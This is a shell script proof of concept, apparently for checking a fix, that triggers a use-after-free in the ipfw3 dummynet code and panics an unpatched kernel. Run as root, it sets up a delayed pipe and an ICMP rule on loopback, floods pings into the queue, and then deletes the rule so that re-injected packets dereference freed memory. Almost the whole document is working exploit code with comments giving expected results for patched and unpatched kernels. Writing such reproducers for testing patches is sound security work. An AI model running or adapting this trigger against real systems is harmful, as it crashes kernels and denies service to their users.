DF-2575 / poc.sh
#!/bin/sh # DF-2575 PoC โ ipfw3 dummynet dn_priv use-after-free trigger. # # Must be run as ROOT on the guest (after modules are loaded by run.sh). # This is the "trigger": it starts the ICMP flood, deletes the rule while # packets are queued in the pipe, and waits for the dummynet re-injection # to dereference the freed rule โ kernel panic. # # Expected on UNPATCHED kernel: # - Fatal trap 12 (page fault) in ip_fw3_chk / ip_fw3_check_in shortly # after the rule deletion + pipe-delay expiry. Serial console shows # the panic; guest reboots or hangs in DDB. # # Expected on PATCHED kernel: # - No panic; script exits cleanly; guest stays up. RULENUM="${1:-100}" DELAY_MS="${2:-3000}" FLOOD_COUNT="${3:-500}" echo "=== DF-2575 trigger: rule=$RULENUM delay=${DELAY_MS}ms flood=$FLOOD_COUNT ===" # Configure pipe with delay so packets sit in the queue ipfw3 pipe 1 config bw 500Kbit/s delay ${DELAY_MS}ms queue 100 2>&1 echo "pipe config rc=$?" # one_pass=0 REQUIRED: makes re-injected packets deref args.rule (the UAF) sysctl -w net.inet.ip.fw3.one_pass=0 2>&1 # Add the pipe rule (scoped to ICMP on lo0 โ does NOT touch ssh on vtnet0) ipfw3 add ${RULENUM} pipe 1 icmp from 127.0.0.1 to 127.0.0.1 2>&1 echo "add rc=$?" ipfw3 show 2>&1 | head -5 echo "=== starting ICMP flood into pipe 1 ===" # Flood pings: packets accumulate in the pipe queue, each tagged with # dn_priv = pointer to rule ${RULENUM}. ping -f -c ${FLOOD_COUNT} -s 80 127.0.0.1 > /dev/null 2>&1 & PING_PID=$! # Let packets queue up (don't wait for the full flood) sleep 1 echo "=== pipe state before rule delete ===" ipfw3 pipe show 2>&1 echo "=== DELETING rule ${RULENUM} while packets are queued (kfree -> dangling dn_priv) ===" ipfw3 delete ${RULENUM} 2>&1 echo "delete rc=$?" echo "=== waiting for dummynet re-injection (delay=${DELAY_MS}ms) -> UAF ===" # Wait for the pipe delay to expire and queued packets to be re-injected. # On the unpatched kernel, the re-injected packet dereferences the freed # rule pointer โ fatal trap. WAIT_SEC=$(( (DELAY_MS / 1000) + 5 )) echo "(sleeping ${WAIT_SEC}s for pipe delay expiry + re-injection)" sleep ${WAIT_SEC} # If we reach here, no panic (patched kernel or race missed) kill ${PING_PID} 2>/dev/null wait ${PING_PID} 2>/dev/null echo "=== survived: no panic (patched kernel, or race window missed) ===" echo "=== current rules ===" ipfw3 show 2>&1 | head -5 echo "=== guest still up ===" uptime |